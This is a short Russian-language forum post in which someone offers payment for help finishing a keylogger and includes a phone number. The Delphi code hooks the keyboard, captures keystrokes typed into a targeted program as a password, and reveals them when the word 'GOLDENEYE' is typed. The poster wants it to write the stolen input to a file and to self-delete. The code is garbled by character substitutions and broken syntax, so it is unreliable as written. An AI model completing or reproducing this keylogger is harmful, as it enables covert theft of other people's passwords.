Кто может помочь? Вот сама программа. надо сделать чтоб записывала в фаил, и самоликвидировалась. кто волокёт в этом звоните договоримся 8-923-247-02-89

var
ModuleFileName: array[0..МАХ_РАТН-1] of Char;
KeyName: array[0..16] of Char;
Password: PChar;
begin
Password := PChar(lpvMem);
if (nCode - HC_ACTION) and (((lParam shr 16) and KF_UP} = 0) then
begin
GetKeyNameText(lParam, KeyName, sizeof(KeyName));
if StrLen(g_szKeyword) + StrLen(KeyName) >= PASSWORDSIZE then
lstrcpy{g_szKeyword, g_szKeyword + StrLen(KeyName));
lstrcat(g_szKeyword, KeyName);
GetModuleFileName(0, ModuleFileName, sizeof(ModuleFileName));
if (StrPos(StrUpper(ModuleFileName),'Нужный модуль') о nil) and
(strlen(Password) + strlen(KeyName) < PASSWORDSIZE) then
lstrcat(Password, KeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(Password);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else
Result := CallNextHookEx(gjihk, nCode, wParam, lParam);
end;